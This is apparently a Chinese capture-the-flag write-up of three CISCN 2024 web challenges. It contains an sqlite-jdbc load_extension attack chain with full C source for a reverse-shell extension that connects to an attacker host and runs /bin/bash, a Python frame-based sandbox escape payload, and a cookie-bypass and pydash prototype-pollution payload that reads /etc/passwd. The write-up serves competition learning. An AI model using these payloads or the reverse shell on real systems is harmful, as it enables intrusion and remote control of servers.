2024 CISCN WEB 部分wp

前言

第二天的revenge真是绷不住,出的很好,下次多出点revenge。

ezjava

简要介绍

sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子

原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行

url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

攻击流程

第一步打入恶意so文件的缓存文件

第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句

第三步打入恶意sqlite db文件的缓存文件

第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件

上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true ,也就开启了load_extension功能。

给个恶意so文件生成c代码:

C 复制代码
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = port;
char *ip = "ip";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);

  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}

  return rc;
}

以上4步就是完整的攻击流程了

mossfern

python栈帧沙箱逃逸,研究的好高端...根本没见过,等有空了开篇文章学习一下,可以先参考这篇文章:https://xz.aliyun.com/t/13635

这里就是栈帧逃逸出globals,在字段co_consts中获取到flag

C 复制代码
import json
payload = '''def getflag():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']  
    code = frame.f_back.f_back.f_back.f_code 
    gattr_dir = gattr.dir
    s  = gattr.str
    print(gattr_dir(code))
    for i in s(code.co_consts):
        print(i,end=",")
getflag()'''

data = {
    "code": payload
}
print(json.dumps(data))

sanic

python原型链污染,当时卡死在第一步了,真是丢人,要求cookie中传入的user=adm;n,我们都知道分号;在cookie中是起分割作用的,所以肯定是不能直接传的,所以理所当然的会想到编码,当时试了unicode编码,十六进制都失败了,谁能想到是用8进制绕过..,user="adm\073n"

接下来就是很简单的原型链污染了,有个简单的waf,就是key中不能有__. 用\\绕过即可

{"key": "__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"},为什么要这么绕过

跟进pydash.set_ 注意这个RE_PATH_KEY_DELIM.split ,按\\\\ 分割写入keys,跟默认的没有\\\\ 是一样的效果,所以并不影响最终的keys

这里我开的是ctfshow的环境,读/proc/1/environ拿到flag

总结

菜就多练...